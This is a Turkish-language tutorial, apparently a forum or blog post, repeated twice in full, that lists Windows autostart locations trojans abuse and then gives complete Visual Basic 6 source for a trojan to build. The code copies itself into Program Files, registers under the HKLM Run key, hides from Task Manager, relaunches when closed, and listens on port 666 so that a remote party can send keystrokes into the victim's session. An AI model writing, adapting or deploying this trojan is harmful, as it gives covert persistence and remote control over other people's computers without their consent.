Torjanlar ve çalışma sistemleri
İşin aslına bakarsanız trojan bulaşmış her bilgisayar çok büyük bir tehlike altında değildir. Sisteminize bulaşmış basit bir trojan sadece kendini tatmin etmek isteyen yolunu kaybetmiş bir lamerın eğlencesidir diyebilirim. Yani bilgisayarınızda çok önemli bir kaynak yok ise yada bu kaynakların sizde olduğu bilinmiyorsa trojanlardan korkmanın pek fazla bir mantığı yoktur. Ancak unutmamak gerekir ki sinek küçükte olsa mide bulandırır ve zaman zaman ciddi sorunlara neden olabilir.
İlk amaç habersizce Windows ile birlikte başlamaktır. Daha sonra bilgisayardaki belirli portları kullanıma açarak remote erişimi mümkün kılmak. Trojanlar geneli itibarıyla kendilerini Windows’un Kayıt Defterinde Windows ile birlikte başlayabilecekleri yerlere kaydederler. Windows ile çalışmaya başlarlar ve işlevlerini yerine getirirler. Peki trojanların kullandıkları bu yöntemde kayıt defterinde hangi anahtarları kullanırlar. Yani Kayıt Defterinde nereye kayıt olurlar. Soruyu şu şekilde de sorabiliriz. Windows ile birlikte başlaması gereken programların kayıtları regeditte nerededir? Aşağıdaki anahtarları inceleyin.
1-) [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
2-) [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
3-) [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
4-) [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] 5-) [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
6-) [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
7-) [HKEY_CLASSES_ROOT\exefile\shell\open\command]
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command]
Aşağıdaki yöntemler ise kayıt defterine herhangi bir girdi gerektirmezler.
1 Başlangıç klasörü
2 Windows Görev Yöneticisi
Görev yöneticisinde herhangi bir trojan kendisini bir görev olarak atayıp belirli zamanlarda çalıştırabilir. Windows NT, 2000 ve XP yüklü sistemlerde Komut satırına (Başlat > Çalıştır | cmd) “at” komutunu girdiğimizde Windows Görev Yöneticisindeki görevleri listeleyebiliriz.
3 Win.ini (load=Trojan.exe yada run=Trojan.exe)
4 System.ini (Shell=Explorer.exe trojan.exe) Explorer çalışltığında çalışır.
5 autoexec.bat (.exe, .scr , .pif, .com, .bat uzantıları olabilir. )
6. Config.sys
Genel olarak bu yöntemler kullanılsa da bazı farklı yöntemler de trojanlar tarafından kullanılırlar. Fakat bu saydıklarımız en sık kullanılan yöntemlerdir. Ayrıca Wormblast gibi bazı virüslerde kendilerini bu yöntemlerle çalıştırmayı severler.
Trojan ile ilgili kaynak kodlara geçmeden önce trojanın yapacağı işlemlerden bahsetmek istiyorum.
Yazcağımız trojan :
1. Her çalıştığında kendisini Kayıt defterinin “HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\” bölümüne ekleyecek ve böylece Windows her başladığında otomatik olarak çalışacak.
2. Her çalıştığında Kendisini Program Files klasörüne kopyalayacak ( Bkz: Form initialize olayı)
3. Her kapatılmaya çalışıldığında kendisini tekrar çalıştıracak. (Bkz : Form Terminate Olayı
4. Trtojanın bırakacağı izler: Sitem Yapılandırma Yardımcı Programında görünecek (Msconfig’de).
5. CTRL+ALT+DEL Windows Görev Yöneticisi ekranında görünmeyecek.
6. 666. Portu dinleyecek ve istemci isteklerini kabul edecek. Yani Telnet ile bilgisayara girilebilecek.
Tasarım Zamanı :
Formunuza bir adet winsock nesnesi ekleyin. Hiçbir özelliğini değiştirmeyin
Trojan içi gerekli kodlar aşağıdaki gibidir. Ayrıca örnek projeyi de sitede bulabilirsiniz.
*********************************************************************************
Private Sub Form_Initialize()
' Trojan her çalıştığında Program Files klasörlerine kendisini kopyalayacak.
On Error Resume Next
Dim yol, ad, TamYol
yol = App.Path ' Ben nerdeyim ?
ad = App.EXEName & ".exe" ' Ben kimim?
TamYol = yol & "\" & ad
' yaşasın nüfus patlaması...
FileCopy TamYol, "C:\Program Files\BenTrojanDeğilim.exe"
End Sub
Private Sub Form_Load()
' Trojanı Ctrl + Alt + Del (Windows Görev Yöneticisi) ekranından gizle
App.TaskVisible = False
' Trojan her başladığında kendisini windows Kayıt defterine windows ile birlikte
' başlamak üzere kayıt ediyor...
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
' Trojanın winsock ile dinlemeye alacağı port burada belirleniyor.
' Trojan 666 portu dışarıdan gelecek istekler için kullanıma açıyor.
' 666 Portu isterseniz değiştirebilirsiniz...
Winsock1.LocalPort = "666" '
' Ve artık 666. port bağlantıları dinlemeye alınıyor
On Error Resume Next ' trojan bir şekilde birden fazla çalışırsa oluşacak olan adres kullanım hatasını gidermek için
' yani aynı adresi birden fazla winsock nesnesinini dinlemesini engelliyoruz.
Winsock1.Listen
' Form gizleniyor
Me.Hide
End Sub
Private Sub Form_Terminate()
' İşte baş belası: Program kapatılsa bile tekrar çalışacak.
Dim ac, d1 As String
d1 = "C:\Program Files\BenTrojanDeğilim.exe"
ac = Shell(d1)
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
'Winsock kontrolü kullanılıyor mu bak.
If Winsock1.State <> sckClosed Then Winsock1.Close
'Can alıcı nokta. Dışarıdan gelecek olan bağlantıları kabul et.
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
'Hata olmuşsa yada bağlantı kaybedilmişse, tekrar dinlemeye geç.
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_Close()
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data1 As String
Winsock1.GetData data1 ' mesajal
DoEvents
SendKeys data1 'mesaj gönder
End Sub
Yorumlarınızı bekliyorum...
İşin aslına bakarsanız trojan bulaşmış her bilgisayar çok büyük bir tehlike altında değildir. Sisteminize bulaşmış basit bir trojan sadece kendini tatmin etmek isteyen yolunu kaybetmiş bir lamerın eğlencesidir diyebilirim. Yani bilgisayarınızda çok önemli bir kaynak yok ise yada bu kaynakların sizde olduğu bilinmiyorsa trojanlardan korkmanın pek fazla bir mantığı yoktur. Ancak unutmamak gerekir ki sinek küçükte olsa mide bulandırır ve zaman zaman ciddi sorunlara neden olabilir.
İlk amaç habersizce Windows ile birlikte başlamaktır. Daha sonra bilgisayardaki belirli portları kullanıma açarak remote erişimi mümkün kılmak. Trojanlar geneli itibarıyla kendilerini Windows’un Kayıt Defterinde Windows ile birlikte başlayabilecekleri yerlere kaydederler. Windows ile çalışmaya başlarlar ve işlevlerini yerine getirirler. Peki trojanların kullandıkları bu yöntemde kayıt defterinde hangi anahtarları kullanırlar. Yani Kayıt Defterinde nereye kayıt olurlar. Soruyu şu şekilde de sorabiliriz. Windows ile birlikte başlaması gereken programların kayıtları regeditte nerededir? Aşağıdaki anahtarları inceleyin.
1-) [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
2-) [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
3-) [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
4-) [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] 5-) [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
6-) [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
7-) [HKEY_CLASSES_ROOT\exefile\shell\open\command]
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command]
Aşağıdaki yöntemler ise kayıt defterine herhangi bir girdi gerektirmezler.
1 Başlangıç klasörü
2 Windows Görev Yöneticisi
Görev yöneticisinde herhangi bir trojan kendisini bir görev olarak atayıp belirli zamanlarda çalıştırabilir. Windows NT, 2000 ve XP yüklü sistemlerde Komut satırına (Başlat > Çalıştır | cmd) “at” komutunu girdiğimizde Windows Görev Yöneticisindeki görevleri listeleyebiliriz.
3 Win.ini (load=Trojan.exe yada run=Trojan.exe)
4 System.ini (Shell=Explorer.exe trojan.exe) Explorer çalışltığında çalışır.
5 autoexec.bat (.exe, .scr , .pif, .com, .bat uzantıları olabilir. )
6. Config.sys
Genel olarak bu yöntemler kullanılsa da bazı farklı yöntemler de trojanlar tarafından kullanılırlar. Fakat bu saydıklarımız en sık kullanılan yöntemlerdir. Ayrıca Wormblast gibi bazı virüslerde kendilerini bu yöntemlerle çalıştırmayı severler.
Trojan ile ilgili kaynak kodlara geçmeden önce trojanın yapacağı işlemlerden bahsetmek istiyorum.
Yazcağımız trojan :
1. Her çalıştığında kendisini Kayıt defterinin “HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\” bölümüne ekleyecek ve böylece Windows her başladığında otomatik olarak çalışacak.
2. Her çalıştığında Kendisini Program Files klasörüne kopyalayacak ( Bkz: Form initialize olayı)
3. Her kapatılmaya çalışıldığında kendisini tekrar çalıştıracak. (Bkz : Form Terminate Olayı
4. Trtojanın bırakacağı izler: Sitem Yapılandırma Yardımcı Programında görünecek (Msconfig’de).
5. CTRL+ALT+DEL Windows Görev Yöneticisi ekranında görünmeyecek.
6. 666. Portu dinleyecek ve istemci isteklerini kabul edecek. Yani Telnet ile bilgisayara girilebilecek.
Tasarım Zamanı :
Formunuza bir adet winsock nesnesi ekleyin. Hiçbir özelliğini değiştirmeyin
Trojan içi gerekli kodlar aşağıdaki gibidir. Ayrıca örnek projeyi de sitede bulabilirsiniz.
*********************************************************************************
Private Sub Form_Initialize()
' Trojan her çalıştığında Program Files klasörlerine kendisini kopyalayacak.
On Error Resume Next
Dim yol, ad, TamYol
yol = App.Path ' Ben nerdeyim ?
ad = App.EXEName & ".exe" ' Ben kimim?
TamYol = yol & "\" & ad
' yaşasın nüfus patlaması...
FileCopy TamYol, "C:\Program Files\BenTrojanDeğilim.exe"
End Sub
Private Sub Form_Load()
' Trojanı Ctrl + Alt + Del (Windows Görev Yöneticisi) ekranından gizle
App.TaskVisible = False
' Trojan her başladığında kendisini windows Kayıt defterine windows ile birlikte
' başlamak üzere kayıt ediyor...
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
' Trojanın winsock ile dinlemeye alacağı port burada belirleniyor.
' Trojan 666 portu dışarıdan gelecek istekler için kullanıma açıyor.
' 666 Portu isterseniz değiştirebilirsiniz...
Winsock1.LocalPort = "666" '
' Ve artık 666. port bağlantıları dinlemeye alınıyor
On Error Resume Next ' trojan bir şekilde birden fazla çalışırsa oluşacak olan adres kullanım hatasını gidermek için
' yani aynı adresi birden fazla winsock nesnesinini dinlemesini engelliyoruz.
Winsock1.Listen
' Form gizleniyor
Me.Hide
End Sub
Private Sub Form_Terminate()
' İşte baş belası: Program kapatılsa bile tekrar çalışacak.
Dim ac, d1 As String
d1 = "C:\Program Files\BenTrojanDeğilim.exe"
ac = Shell(d1)
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
'Winsock kontrolü kullanılıyor mu bak.
If Winsock1.State <> sckClosed Then Winsock1.Close
'Can alıcı nokta. Dışarıdan gelecek olan bağlantıları kabul et.
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
'Hata olmuşsa yada bağlantı kaybedilmişse, tekrar dinlemeye geç.
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_Close()
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data1 As String
Winsock1.GetData data1 ' mesajal
DoEvents
SendKeys data1 'mesaj gönder
End Sub
Yorumlarınızı bekliyorum...